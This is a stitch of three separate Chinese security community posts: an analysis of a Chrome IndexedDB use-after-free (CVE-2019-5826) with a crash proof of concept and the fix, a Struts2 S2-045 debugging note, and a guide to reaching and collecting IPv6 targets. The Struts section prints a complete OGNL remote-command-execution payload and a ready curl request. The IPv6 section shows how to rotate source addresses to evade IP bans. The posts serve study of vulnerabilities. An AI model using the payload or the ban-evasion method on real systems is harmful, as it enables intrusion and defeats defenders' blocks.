从[chrome源码](https://source.chromium.org/chromium/chromium/src/+/refs/tags/73.0.3683.75:content/browser/indexed_db/indexed_db_database.cc)中依次复制
* `indexed_db_database.cc`
* `indexed_db_factory_impl.cc`
* `web_idb_factory_impl.cc`
* `indexed_db_connection.cc`
等文件中的源码，并将其保存至当前目录中的`chromeSrc`文件夹。这样做的目的是 **为了在调试时可以使用源代码** 。
> 没有源码的调试chrome实在是太痛苦了QwQ
老样子，使用gdb脚本来辅助调试
# gdbinit
# 读取符号
file ./chrome
# 设置启动参数
set args http://localhost:8000/test.html
# 设置源码路径
directory chromeSrc/
# 设置执行fork后继续调试父进程
set follow-fork-mode parent
> 这里没有设置`--headless`，是因为chrome **单次刷新页面的速度比gdb重启chrome的速度快上很多**
> ，这样每次修改完`exploit/poc`后只需点击刷新即可。
输入以下命令即可开启调试
gdb -x gdbinit
如果执行时提示`No usable sandbox!`，执行以下命令
sudo sysctl -w kernel.unprivileged_userns_clone=1
**机器重启后该命令将会失效** ，届时需要重新执行。
## 二、IndexedDB简介
Chrome中IndexedDB的大部分是在浏览器进程中实现。 浏览器和渲染中都存在几个不同的mojo
IPC接口，用于进程之间的通信，并且使得沙盒渲染能够执行IndexedDB的操作。
IndexedDBFactory
[mojo接口](https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/public/mojom/indexeddb/indexeddb.mojom)是渲染的主要入口点。
**大多数操作（打开、关闭数据库等）都是通过IndexedDBFactory实例来进一步操作IndexedDatabase实例** （注意这句话）。
IndexedDB有关于数据库和连接的概念。 对于Chrome-IndexedDB，分别由`IndexedDBDatabase`和`IndexedDBConnection`类表示。 在某一时间段内可以
**存在对同一数据库的多个连接** ，但是每个数据库 **只有一个IndexedDBDatabase对象** 。
另一个要理解的重要概念是 **请求。 打开和删除数据库操作不可能同时发生** ，但会规划执行相应操作的请求。
通过`IndexedDBDatabase::OpenRequest`
和`IndexedDBDatabase::DeleteRequest`类可以实现这些功能。
>
> `OpenRequest`类和`DeleteRequest`类是声明在`IndexedDBDatabase`类中的，换句话说这两个类都是`IndexedDBDatabase`类的子类。
IndexedDBDatabase对象是一种 **引用计数（Reference counted）的对象** 。
针对该对象的计数引用被保存在IndexedDBConnection对象、IndexedDBTransaction对象或其他正在进行或待处理的请求对象中。
一旦引用计数降至0，会立即释放对象。
释放数据库对象后， **会从数据库映射中删除指向IndexedDBDatabase的相应原始指针** ，这点非常重要。
我们顺便简单了解一下IndexDB的`JS API`
dbName = "mycurrent";
// 打开一个数据库，其中数据库名称为dbName，2为数据库版本
// 返回一个requests，这个request在这里应该是OpenRequest
var request = indexedDB.open(dbName, 2);
// onsuccess是该request处理完成后所执行的回调函数
request.onsuccess = function (event) {
// 当该request执行成功后，request中的result成员为所打开的数据库对象
db = request.result;
}
// 关闭一个数据库
var deleteRequest = indexedDB.deleteDatabase(dbName);
> 具体IndexedDB 的细节我们将在下节详细讲解。
## 三、漏洞分析
### 1\. connections_成员变量
在讲解漏洞代码之前，我们先了解一下`IndexedDBDatabase::connections_`成员变量。`connections_`集合存储着
**当前连接至`IndexedDatabase`的所有连接**。当有新connection连接至数据库，或某个connection被中断时，该`connections_`变量都会被修改（执行insert或remove函数）。而该关键变量是一个`list_set`类型的成员。
class CONTENT_EXPORT IndexedDBDatabase {
// ...
private:
list_set<IndexedDBConnection*> connections_;
// ...
`list_set`类型是`list`与`set`的结合体，这里我们只需关注该结构体的`end`函数。
iterator end() { return iterator(list_.end()); }
可以看到，`list_set::end`函数返回的是 **list的迭代器** 。
### 2\. database _map_ 成员变量
该成员变量保存了所有指向打开的`IndexedDatabase`的 **原始指针**
> 注意，直接使用C++的原始指针通常是一个比较危险的事情。
class CONTENT_EXPORT IndexedDBFactoryImpl : public IndexedDBFactory {
// ...
private:
// ...
std::map<IndexedDBDatabase::Identifier, IndexedDBDatabase*> database_map_;
}
当打开一个新的数据库时，指向该数据库的原始指针将会被添加进`database_map_`中；同样当关闭一个数据库时，指向该数据库的原始指针将会从`database_map_`中被移除。
### 3\. 漏洞流程
#### a. “悬垂”指针
我们先来简单了解一下删除数据库的流程。
当JS中执行`indexedDB.deleteDatabase`函数时，通过render与chrome之间的IPC通信，chrome进程会执行[IndexedDBFactoryImpl::DeleteDatabase](https://source.chromium.org/chromium/chromium/src/+/refs/tags/73.0.3683.75:content/browser/indexed_db/indexed_db_factory_impl.cc;l=492;bpv=0;bpt=1)函数，在该函数中，程序会进一步调用对应`IndexedDBDatabase`的`DeleteDatabase`函数来处理对应的数据库。
void IndexedDBFactoryImpl::DeleteDatabase(
const base::string16& name,
scoped_refptr<IndexedDBCallbacks> callbacks,
const Origin& origin,
const base::FilePath& data_directory,
bool force_close) {
IDB_TRACE("IndexedDBFactoryImpl::DeleteDatabase");
// 每个IndexedDatabase在IndexedDBFactoryImpl类中都有对应唯一的idntifier
// 该函数通过数据库名称来获取identifier并进一步在database_map中查找对应的IndexedDatabase指针
IndexedDBDatabase::Identifier unique_identifier(origin, name);
const auto& it = database_map_.find(unique_identifier);
if (it != database_map_.end()) {
// 如果找到了对应的数据库，则执行该数据库的DeleteDatabase函数
it->second->DeleteDatabase(callbacks, force_close);
return;
}
// ...
在[IndexedDBDatabase::DeleteDatabase](https://source.chromium.org/chromium/chromium/src/+/refs/tags/73.0.3683.75:content/browser/indexed_db/indexed_db_database.cc;l=1862)中，程序会添加一个`DeleteRequest`到当前`IndexedDatabase`中的待处理请求列表中，当数据库处理到`DeleteRequest`时，数据库就会马上关闭。这样做的目的是为了
**在剩余的请求（`DeleteRequest`前的所有请求）全部处理完之后，再关闭当前数据库**。
void IndexedDBDatabase::DeleteDatabase(
scoped_refptr<IndexedDBCallbacks> callbacks,
bool force_close) {
AppendRequest(std::make_unique<DeleteRequest>(this, callbacks));
// Close the connections only after the request is queued to make sure
// the store is still open.
if (force_close)
ForceClose();
}
但是倘若
**设置了`force_close`标志**后，则程序将会进一步执行`ForceClose`函数来强制关闭所有的`request`和`connection`。但是，第二段
**用于遍历关闭连接的代码** 在修改`connections_`时 **并不安全** 。 **（漏洞点!）**
void IndexedDBDatabase::ForceClose() {
// IndexedDBConnection::ForceClose() may delete this database, so hold ref.
scoped_refptr<IndexedDBDatabase> protect(this);
// 循环将所有尚未处理的请求强制关闭
while (!pending_requests_.empty()) {
std::unique_ptr<ConnectionRequest> request =
std::move(pending_requests_.front());
pending_requests_.pop();
request->AbortForForceClose();
}
// 循环将所有连接到当前数据库的connections强制断开
// 注意！这段代码在修改connection_时不够安全
auto it = connections_.begin();
while (it != connections_.end()) {
IndexedDBConnection* connection = *it++;
// 注意这一步，执行`connection->ForceClose()`时，程序会关闭当前连接。
// 但倘若当前遍历的连接是connection_中的最后一条连接，则会执行函数StartUpgrade以建立新连接
connection->ForceClose();
}
// 常规检查
DCHECK(connections_.empty());
DCHECK(!active_request_);
}
在第二个用于关闭connection的循环中，程序会执行`connection->ForceClose()`，即[IndexedDBConnection::ForceClose函数](https://source.chromium.org/chromium/chromium/src/+/refs/tags/73.0.3683.75:content/browser/indexed_db/indexed_db_connection.cc;l=48;bpv=0;bpt=0)，以强制关闭该connection。而为了在`IndexedDBDatabase`中释放当前连接在数据库中所占用的资源，在这个函数中，程序会进一步调用`IndexedDBDatabase::Close`函数。
void IndexedDBConnection::ForceClose() {
if (!callbacks_.get())
return;
// IndexedDBDatabase::Close() can delete this instance.
base::WeakPtr<IndexedDBConnection> this_obj = weak_factory_.GetWeakPtr();
scoped_refptr<IndexedDBDatabaseCallbacks> callbacks(callbacks_);
// 注意这条代码
database_->Close(this, true /* forced */);
if (this_obj) {
database_ = nullptr;
callbacks_ = nullptr;
active_observers_.clear();
}
callbacks->OnForcedClose();
}
[IndexDBDatabase::Close函数](https://source.chromium.org/chromium/chromium/src/+/refs/tags/73.0.3683.75:content/browser/indexed_db/indexed_db_database.cc;l=1897)会依次执行一系列操作，但这里我们只关注两个操作。该函数中，程序会先
**在`connection_`集合中删除当前连接**，之后 **执行`active_request_->OnConnectionClosed`函数**。
void IndexedDBDatabase::Close(IndexedDBConnection* connection, bool forced) {
DCHECK(connections_.count(connection));
DCHECK(connection->IsConnected());
DCHECK(connection->database() == this);
IDB_TRACE("IndexedDBDatabase::Close");
// 终止当前连接中所有的未完成事务
connection->FinishAllTransactions(IndexedDBDatabaseError(
blink::kWebIDBDatabaseExceptionUnknownError, "Connection is closing."));
// 从数据库中的connections_集合中删除当前request
connections_.erase(connection);
// 通知当前正在处理的请求，因为当前请求可能需要进行清理或者继续进行操作
if (active_request_)
active_request_->OnConnectionClosed(connection);
// 如果当前数据库中的所有连接和所有请求均已经全部释放完成，则从IndexDBFactory类实例中删除指向当前IndexedDBData的指针
if (connections_.empty() && !active_request_ && pending_requests_.empty()) {
backing_store_ = nullptr;
factory_->ReleaseDatabase(identifier_, forced);
}
}
`OnConnectionClosed`函数中会先判断当前待处理connection **是否被过早关闭** 。
void OnConnectionClosed(IndexedDBConnection* connection) override {
// 如果连接过早关闭（即一个pending的connection被关闭了，此时会调用OnConnectionClosed
if (connection && connection->callbacks() == pending_->database_callbacks) {
pending_->callbacks->OnError(
IndexedDBDatabaseError(blink::kWebIDBDatabaseExceptionAbortError,
"The connection was closed."));
// 该连接将在数据库中被重置
db_->RequestComplete(this);
return;
}
// 如果当前connection不是最后一个要处理的连接，则不会执行到StartUpgrade创建新连接。
if (!db_->connections_.empty())
return;
StartUpgrade();
}
如果当前连接类型不为`pending connection`，即 **该连接并非被过早关闭** （即正常情况，正常情况是比异常情况更容易触发的），并且
**当前连接为connections_中的最后一个连接**
。则该函数会执行[StartUpgrade](https://source.chromium.org/chromium/chromium/src/+/refs/tags/73.0.3683.75:content/browser/indexed_db/indexed_db_database.cc;l=243)函数，`StartUpgrade`函数内部会使得IndexedDBDatabase
**创建一个新的pending connection至connections_列表中** 。
// Initiate the upgrade. The bulk of the work actually happens in
// IndexedDBDatabase::VersionChangeOperation in order to kick the
// transaction into the correct state.
void StartUpgrade() {
// 使数据库创建一个新的连接
connection_ = db_->CreateConnection(pending_->database_callbacks,
pending_->child_process_id);
DCHECK_EQ(db_->connections_.count(connection_.get()), 1UL);
std::vector<int64_t> object_store_ids;
IndexedDBTransaction* transaction = connection_->CreateTransaction(
pending_->transaction_id,
std::set<int64_t>(object_store_ids.begin(), object_store_ids.end()),
blink::mojom::IDBTransactionMode::VersionChange,
new IndexedDBBackingStore::Transaction(db_->backing_store()));
db_->RegisterAndScheduleTransaction(transaction);
transaction->ScheduleTask(
base::BindOnce(&IndexedDBDatabase::VersionChangeOperation, db_,
pending_->version, pending_->callbacks));
}
这样，`connections_`集合元素将不为0。当控制流从`OnConnectionClosed`函数返回时，便无法通过下面的判断。这样，就无法执行`factory_->ReleaseDatabase`。
>
> 预期情况是，当最后一个连接被erase后，一定进入下面的if语句以执行`factory_->ReleaseDatabase`，但在这里显然是一个非预期情况。
void IndexedDBDatabase::Close(IndexedDBConnection* connection, bool forced) {
// ...
if (active_request_)
active_request_->OnConnectionClosed(connection);
// 如果当前数据库中的所有连接和所有请求均已经全部释放完成，则从IndexDBFactory类实例中删除指向当前IndexedDBData的指针
if (connections_.empty() && !active_request_ && pending_requests_.empty()) {
backing_store_ = nullptr;
factory_->ReleaseDatabase(identifier_, forced);
}
}
而`factory_->ReleaseDatabase`函数会将 **指向当前数据库的原始指针**
从`database_map_`中删除，也就是说，若`IndexedDBFactoryImpl::ReleaseDatabase`不被执行，则
**该原始指针就一直保存在`database_map_`中**。
void IndexedDBFactoryImpl::ReleaseDatabase(
const IndexedDBDatabase::Identifier& identifier,
bool forced_close) {
DCHECK(!database_map_.find(identifier)->second->backing_store());
// 将当前IndexedDatabase原始指针从database_map中删除
RemoveDatabaseFromMaps(identifier);
// No grace period on a forced-close, as the initiator is
// assuming the backing store will be released once all
// connections are closed.
ReleaseBackingStore(identifier.first, forced_close);
}
最终，`database_map_`中保留的 **原始指针并没有被删除** 。
同时，当控制流返回`IndexedDBDatabase::ForceClose`函数时，由于`connections_`集合既执行了`erase`函数，又执行了`insert`函数，因此在下一次判断循环条件`it
!= connections_.end()`时，`connection_`集合中仍然存在connection（尽管此时的连接非彼时的连接），
**connection_集合的元素个数将保持不变** 。而`end`函数返回的是`list`的迭代器，
**所以返回的`end`迭代器将保证不变**，而`it++`，因此将跳出该循环，结束 **连接的终止操作**
。但最重要的是，`IndexedDBFactoryImpl::database_map`中 **仍然保留指向当前数据库的原始指针**
。该指针本应该在当前循环执行结束时被移除，但这里却没有被移除。
void IndexedDBDatabase::ForceClose() {
// ...
auto it = connections_.begin();
while (it != connections_.end()) {
IndexedDBConnection* connection = *it++;
// 注意这一步，执行`connection->ForceClose()`时，程序会关闭当前连接。
// 但倘若当前遍历的连接是connection_中的最后一条连接，则会执行函数StartUpgrade以建立新连接
connection->ForceClose();
}
// ...
}
现在，我们可以成功将指向当前`IndexedDatabase`的一个原始指针保存至 **本不该保存的地方**
(指`database_map`)。而我们下一步要做的就是尝试将当前`IndexedDatabase`所使用的内存释放。
#### b. 释放IndexedDB内存
IndexedDBDatabase对象是一种 **引用计数（Reference counted）的对象** 。
针对该对象的计数引用被保存在IndexedDBConnection对象、IndexedDBTransaction对象或其他正在进行或待处理的请求对象中。
一旦引用计数降至0，会立即释放对象。（以免忘记，这段又重复了一遍）
class CONTENT_EXPORT IndexedDBConnection {
// ...
// NULL in some unit tests, and after the connection is closed.
scoped_refptr<IndexedDBDatabase> database_;
// ...
};
class CONTENT_EXPORT IndexedDBTransaction {
// ...
scoped_refptr<IndexedDBDatabase> database_;
// ...
}
也就是说，一旦我们将所有与当前IndexedDBDatabase对象相关的Connection和Transaction对象全部释放，那么当前IndexedDBDatabase就会因为引用计数为0而自动释放。
Issue941746给出了一种方法 ——
通过调用`IndexedDBFactoryImpl::AbortTransactionsForDatabase`来释放IndexedDBDatabase对象。
// 函数调用call
content::IndexedDBFactoryImpl::AbortTransactionsForDatabase
content::IndexedDBFactoryImpl::AbortTransactions // 循环对所有IndexedDatabase执行AbortAllTransactionsForConnections
content::IndexedDBDatabase::AbortAllTransactionsForConnections // 循环对所有Connection执行FinishAllTransactions
content::IndexedDBConnection::FinishAllTransactions // 循环对所有Transactions执行Abort
content::IndexedDBTransaction::Abort
content::IndexedDBConnection::RemoveTransaction // 释放Transaction
content::IndexedDBDatabase::TransactionFinished // 释放Connection
执行`AbortTransactionsForDatabase`函数将会释放所有的`IndexedDBConnection`以及`IndexedDBTransaction`，进而释放`IndexedDatabase`对象，如此就能达到我们想要释放某个IndexedDatabase对象的目的。
> 这里贴出IndexedDBTransaction::Abort函数的关键代码。 **请注意函数内部的注释** 。
void IndexedDBTransaction::Abort(const IndexedDBDatabaseError& error) {
// ...
database_->TransactionFinished(this, false);
// RemoveTransaction will delete |this|.
// Note: During force-close situations, the connection can be destroyed during
// the |IndexedDBDatabase::TransactionFinished| call
// 上面这段注释表示，在`force_close = true`的前提下，执行该函数将会释放connection以及trasaction
if (connection_)
connection_->RemoveTransaction(id_);
}
#### c. 如何触发UAF
根据上面的分析，我们可以得出，当顺序调用这三个函数时，我们便可以成功使`database_map`中保存一个指向已被释放内存的悬垂指针。
* `Open(db1)`
* `DeleteDatabase(db1, force_close=True)`
* `AbortTransactionsForDatabase`
之后，我们只需通过Heap Spray将这块被释放的内存重新分配回来即可利用。
但这里有个问题，如何在render进程中通过IndexedDBFactory来调用这三个函数呢？实际上，render的JS接口可以调用IndexedDB的`open`和`deleteDatabase`，但无法调用`AbortTransactionsForDatabase`接口。同时，这里存在一个问题，
**我们无法保证browser进程中的函数执行顺序如我们所期待的那样** ，因为Js中IndexedDB接口大多都是 **异步**
的，因此browser中的这三个函数可能无法依次、完全的完成执行。
但我们又必须在render进程中依次同步执行这三个函数，而这就是为什么 **该漏洞只能在`render RCE`的基础上利用**的原因了。由于
**`render RCE`可以给render进程自己打上patch**，所以就可以在render进程中打patch **以保证这三个函数可以被同步调用**
（即依次执行）。
> 这也是为什么在 **环境搭建** 时要在chrome源码中打上patch的原因，因为手动打上patch可以模拟render RCE 打patch的结果。
// third_party/blink/renderer/modules/indexeddb/web_idb_factory_impl.cc
void WebIDBFactoryImpl::Open(
std::make_unique<IndexedDBDatabaseCallbacksImpl>(
base::WrapUnique(database_callbacks));
DCHECK(!name.IsNull());
factory_->Open(GetCallbacksProxy(std::move(callbacks_impl)),
GetDatabaseCallbacksProxy(std::move(database_callbacks_impl)),
name, version, transaction_id);
+ if (version == 3) {
+ mojom::blink::IDBCallbacksAssociatedPtrInfo ptr_info;
+ auto request = mojo::MakeRequest(&ptr_info);
+ factory_->DeleteDatabase(std::move(ptr_info), origin, name, true);
+ factory_->AbortTransactionsForDatabase(origin, base::OnceCallback<void(blink::mojom::IDBStatus)>());
+ }
}
#### d. POC
笔者在`issue 941746`提供的poc上做了一点修改，新构造的POC删除了无用的语句，并使Chrome触发Crash
<html>
<head>
<script type="text/javascript">
async function poc() {
/*
在chrome进程中依次同步执行open、deleteDatabase以及AbortTransactionsForDatabase函数
执行完成后将会产生一个悬垂指针
*/
await window.indexedDB.open("db1", 3);
// 尝试使用这个悬垂指针，应该会造成crash
window.indexedDB.deleteDatabase("db1");
}
</script>
</head>
<body onload="poc()"></body>
</html>
Chrome成功crash
> 图中多输出的`nice`，为chrome打patch时多添加的一条printf语句
>
> 该语句的输出表示patch部分代码被执行。
### 4\. 后记
以下是chrome团队修复后的代码。该[patch](https://chromium.googlesource.com/chromium/src.git/+/eaf2e8bce3855d362e53034bd83f0e3aff8714e4%5E%21/)彻彻底底将`connections_`集合中的所有连接全部关闭。patch前的代码依赖
**迭代器** 来判断是否全部关闭所有连接，而patch后的代码使用集合元素个数来进行判断，某种程度上使得代码更加安全。
@@ -1949,10 +1949,10 @@
request->AbortForForceClose();
}
- auto it = connections_.begin();
- while (it != connections_.end()) {
- IndexedDBConnection* connection = *it++;
+ while (!connections_.empty()) {
+ IndexedDBConnection* connection = *connections_.begin();
connection->ForceClose();
+ connections_.erase(connection);
}
DCHECK(connections_.empty());
DCHECK(!active_request_);
## 四、参考
[The Most Secure Browser? Pwning Chrome from 2016 to
2019](https://www.blackhat.com/us-19/briefings/schedule/index.html#the-most-secure-browser-pwning-chrome-from--to--16274)
* [Presentation Slides](http://i.blackhat.com/USA-19/Wednesday/us-19-Feng-The-Most-Secure-Browser-Pwning-Chrome-From-2016-To-2019.pdf)
* [White Paper](http://i.blackhat.com/USA-19/Wednesday/us-19-Feng-The-Most-Secure-Browser-Pwning-Chrome-From-2016-To-2019-wp.pdf)
[NVD – CVE-2019-5826 Dtail](https://nvd.nist.gov/vuln/detail/CVE-2019-5826)
[Chrome Issue 941746: Security: UAF in
content::IndexedDBDatabase](https://crbug.com/941746)
[通过IndexedDB条件竞争实现Chrome沙箱逃逸（上）](https://www.anquanke.com/post/id/183809#h3-3)
> 该文章 **并没有涉及** 我们当前所研究的UAF漏洞，但即便如此，它仍然提供了一些关于`IndexedDB`相关的说明。 | 社区文章 |
# S2-045 调试学习
漏洞版本
> 2.3.31-2.3.5 2.5-2.5.10
漏洞成因
> content-type里有multipart/form-> data就会走JakartaMultiPartRequest,捕捉了异常信息(里面带有payload),后又OGNL解析了
## payload
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
从burp里面导的curl command
curl -i -s -k -X $'POST' \
-H $'Host: 192.168.95.1:8081' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36' -H $'Accept: */*' -H $'Connection: close' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: %{(#fuck=\'multipart/form-data\').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'id\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}' -H $'Content-Length: 0' \
$'http://192.168.95.1:8081/S2_045_war_exploded/'
## 调试
修复地方 我把断点也下在这里了
都先经过web.xml 拦截 Struts2PrepareAndExecutefilter
处理请求
这个地方 获取ContentType
2-045的POC一般都有(#nike='multipart/form-data')这样一句，就是使content_type.contains("multipart/form-data")判断为true
继续追踪getMultiPartRequest方法。通过配置struts.multipart.parser属性，可以指定不同的解析类，而默认就是org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类。
这里已经可以看到是用JakartaMultiPartReques解析了
再继续findText
com.opensymphony.xwork2.util.TextParseUtil.translateVariables(String,
ValueStack) 方法主要用于扩展字符串中由 ${} 或 %{} 包裹的 OGNL 表达式，这里也就是 OGNL 的入口，随后 action
message 将进入 OGNL 的处理流程，漏洞被触发。
下一步 又继续 解析
com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator#evaluate
继续跟 发现进了语法树
com.opensymphony.xwork2.ognl.OgnlUtil#compileAndExecute
ognl.ASTVarRef#setValueBody
这个地方执行 OGNL 表达式
在mac上调试的
payload里
`#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win’))`
执行之后就是false
com.opensymphony.xwork2.ognl.OgnlValueStack#setOgnlUtil
> 当请求到来的时候，一个ActionContext对象被createActionContext方法创建。
> OgnlValueStack 的setOgnlUtil函数被调用，以用来初始化OgnlValueStack 的securityMemberAccess
> ，这样就获得OgnlUtil的全局实例
> 这就意味着全局OgnlUtil 实例都共享相同的SET：excludedClasses, excludedPackageNames 和
> excludedPackageNamePatterns作为_memberAccess，所以清除这些之后也会清除与_memberAccess相匹配的SET。
> 在那之后，OGNL 就可以自由的访问DEFAULT_MEMBER_ACCESS对象并且 OgnlContext 的 setMemberAccess
> 代替了 _memberAccess和DEFAULT_MEMBER_ACCESS，这样就可以执行任意代码了
## 参考文章
参考文章
[作为武器的CVE-2018-11776：绕过Apache Struts 2.5.16 OGNL
沙箱](https://xz.aliyun.com/t/3395)
[Struts2 架构图](https://zhuanlan.zhihu.com/p/50245867)
可能有的地方说的不对,希望师傅们指正(萌新瑟瑟发抖) | 社区文章 |
# 前言
前段时间，突然对ipv6这块的资产收集感兴趣,分享下实践出的技巧和方案。
# 1\. 如果目标有 ipv6 资产，你如何访问
## 获得ipv6地址
最简单的方法购买提供ipv6地址的vps
### vultr
比如vultr,购买时选择启用ipv6地址即可
### aws
aws的机器默认没有ipv6地址分配，要按如下步骤来开启
1. vpc添加ipv6 CIDR
1. vpc子网分配ipv6 CIDR块
1. 创建ec2机器时选择自动分配ipv6 ip
这个时候ip a就可以看到ipv6地址了
但是到这一步你会发现获取到了ipv6地址，但无法访问任何ipv6站点，这是因为这个vpc的路由表默认没有ipv6出口路由，手动配置如下
### 华为云
华为云和aws的步骤类似,现在vpc的subnet中开启ipv6功能,然后在创建ecs时选择分配ipv6地址
### 阿里云
类似,vpc配置开启ipv6,创建ecs时选择ipv6的子网，创建完毕需要开通ipv6公网带宽
然后在开启的机器上运行以下命令,获取ipv6地址
wget https://ecs-image-utils.oss-cn-hangzhou.aliyuncs.com/ipv6/rhel/ecs-utils-ipv6
chmod +x ./ecs-utils-ipv6
./ecs-utils-ipv6
开启ipv6公网带宽
## 如何让客户端访问ipv6站点
临近饭点，老吴问我如何让自己机器访问ipv6地址，因为如果只能通过vps进行访问，那一些图形化操作无法实现。
想了想，确实有道理，简单分析下，如果要让客户端访问到ipv6机器，那么要么客户端获取公网ipv6地址，要么走一些ipv6代理服务，比如<https://proxyline.net/zh-hant/ipv6/>。
获取公网ipv6地址不太可行，ipv6代理服务没必要，能自建干嘛要买。看网上文章里讲socks5，不用管客户端是ipv4还是ipv6协议，只要服务端是ipv6协议就可以让客户端畅通无阻的在ipv6环境下进行通讯。
那么我可以复用之前的clash代理池设计，只要节点端可以通ipv6，应该就可以了。
先看能不能访问
* ipv6.ip.sb
* ip.sb
正常来讲，无法访问。
下面配置一个aws服务器起ssr
先按照开始的教程为aws配置ipv6子网，确保机器可以通ipv6
curl ipv6.ip.sb
# 能够正确获取到ipv6地址,这个机子就可以用
起ssr服务
apt-get update
apt-get install -y shadowsocks-libev
systemctl status shadowsocks-libev
vim /etc/shadowsocks-libev/config.json
{
"server":["::0","0.0.0.0"],
"server_port":60001,
"method":"chacha20-ietf-poly1305",
"password":"1234567890",
"mode":"tcp_and_udp",
"fast_open":false
}
service shadowsocks-libev restart
# service shadowsocks-libev start
service shadowsocks-libev status
ps ax | grep ss-server
ss -tnlp
这里密码我随便设置了，如果生产环境不要用弱口令
启动ssr后，写一下clash配置
mixed-port: 64277
allow-lan: true
bind-address: '*'
mode: rule
log-level: info
ipv6: true
external-controller: 127.0.0.1:9090
routing-mark: 6666
hosts:
profile:
store-selected: false
store-fake-ip: true
dns:
enable: false
listen: 0.0.0.0:53
ipv6: true
default-nameserver:
- 114.114.114.114
- 8.8.8.8
enhanced-mode: fake-ip # or redir-host (not recommended)
fake-ip-range: 198.18.0.1/16 # Fake IP addresses pool CIDR
nameserver:
- 114.114.114.114 # default value
- 8.8.8.8 # default value
- tls://dns.rubyfish.cn:853 # DNS over TLS
- https://1.1.1.1/dns-query # DNS over HTTPS
- dhcp://en0 # dns from dhcp
# - '8.8.8.8#en0'
proxies:
- name: "1.14.5.14"
type: ss
server: 1.14.5.14
port: 60001
cipher: chacha20-ietf-poly1305
password: "1234567890"
proxy-groups:
- name: "test"
type: load-balance
proxies:
- 1.14.5.14
url: 'http://www.gstatic.com/generate_204'
interval: 2400
strategy: round-robin
rules:
- DOMAIN-SUFFIX,google.com,test
- DOMAIN-KEYWORD,google,test
- DOMAIN,google.com,test
- GEOIP,CN,test
- MATCH,test
- SRC-IP-CIDR,192.168.1.201/32,DIRECT
- IP-CIDR,127.0.0.0/8,DIRECT
- DOMAIN-SUFFIX,ad.com,REJECT
1.14.5.14是我这台aws的地址，60001是监听端口。这不是重点，重点在于2行`ipv6: true`
ipv6: true
dns:
enable: false
listen: 0.0.0.0:53
ipv6: true
必须要配置为true
导入clash配置，再次测试访问
到了这一步,还是不够,因为目前是基于域名的ipv6访问,如果要直接访问ipv6地址，你会发现还是访问不了,那么该如何做呢
1. 首先，在浏览器中访问ipv6地址，需要在前后加括号,例如 `http://[2409:8c0c:310:314::100:38]/#/login`
2. 在burp中的代理配置，需要改成socks5代理,不能是upstream proxy servers
现在在浏览器中访问ipv6地址，就可以了
* * *
# 2\. 如果你ipv6地址被封了，如何更改
## 云服务器ipv6地址绑定(vultr可行，aws不可行)
运营商一般会分配 /64 甚至 /60 的地址，有相当多的 ipv6 可以用
我们可以访问完一次，用命令直接改一下本机对应的 ipv6 地址就好了，譬如只改地址后 64 bits
ip a 查看,vultr给了如下的ipv6地址
2401:c080:1400:6787:5400:4ff:fe3b:622b/64
2401:c080:1400:6787::/64
# 添加路由
ip route add local 2401:c080:1400:6787::/64 dev enp1s0
# 为了能够绑定任意 IP，我们需要开启内核的 ip_nonlocal_bind 特性：
sysctl net.ipv6.ip_nonlocal_bind=1
# NDP
# 类似于 IPv4 中 ARP 协议的作用，IPv6 中需要使用 ND 协议来发现邻居并确定可用路径。我们需要开启一个 ND 代理：
# 安装 ndppd
apt install ndppd
# 编辑 /etc/ndppd.conf 文件:
vim /etc/ndppd.conf
route-ttl 30000
proxy enp1s0 {
router no
timeout 500
ttl 30000
rule 2401:c080:1400:6787::/64 {
static
}
}
# 启动 ndppd
systemctl start ndppd
# 接下来你可以验证一下了，用 curl --interface 指定出口 IP：
curl --interface 2401:c080:1400:6787::1 ipv6.ip.sb
curl --interface 2401:c080:1400:6787::2 ipv6.ip.sb
curl --interface 2401:c080:1400:6787::3 http://icanhazip.com/
后来在看massdns项目的时候发现作者在freebind项目里实现了类似的需求
* <https://github.com/blechschmidt/freebind>
测试下,先在机器上安装
git clone https://github.com/blechschmidt/freebind.git
cd freebind
apt install libnetfilter-queue-dev
make install
# 添加路由
ip -6 route add local 2a00:1450:4001:81b::/64 dev enp1s0
# 访问测试
freebind -r 2a00:1450:4001:81b::/64 wget -qO- ipv6.wtfismyip.com/text
**那么网站方如何防御呢？**
一种应对方式是直接 ban /64,/56乃至 /48
现在我们有了ipv6条件，那么接下来要找目标
如何获得目标的ipv6地址呢
* * *
# 3\. 如何收集目标ipv6资产
## 域名AAAA查询
经过进一步查询，得知AAAA类型的解析记录，可以实现IPv6的解析
使用dig进行查询
dig -t AAAA [域名]
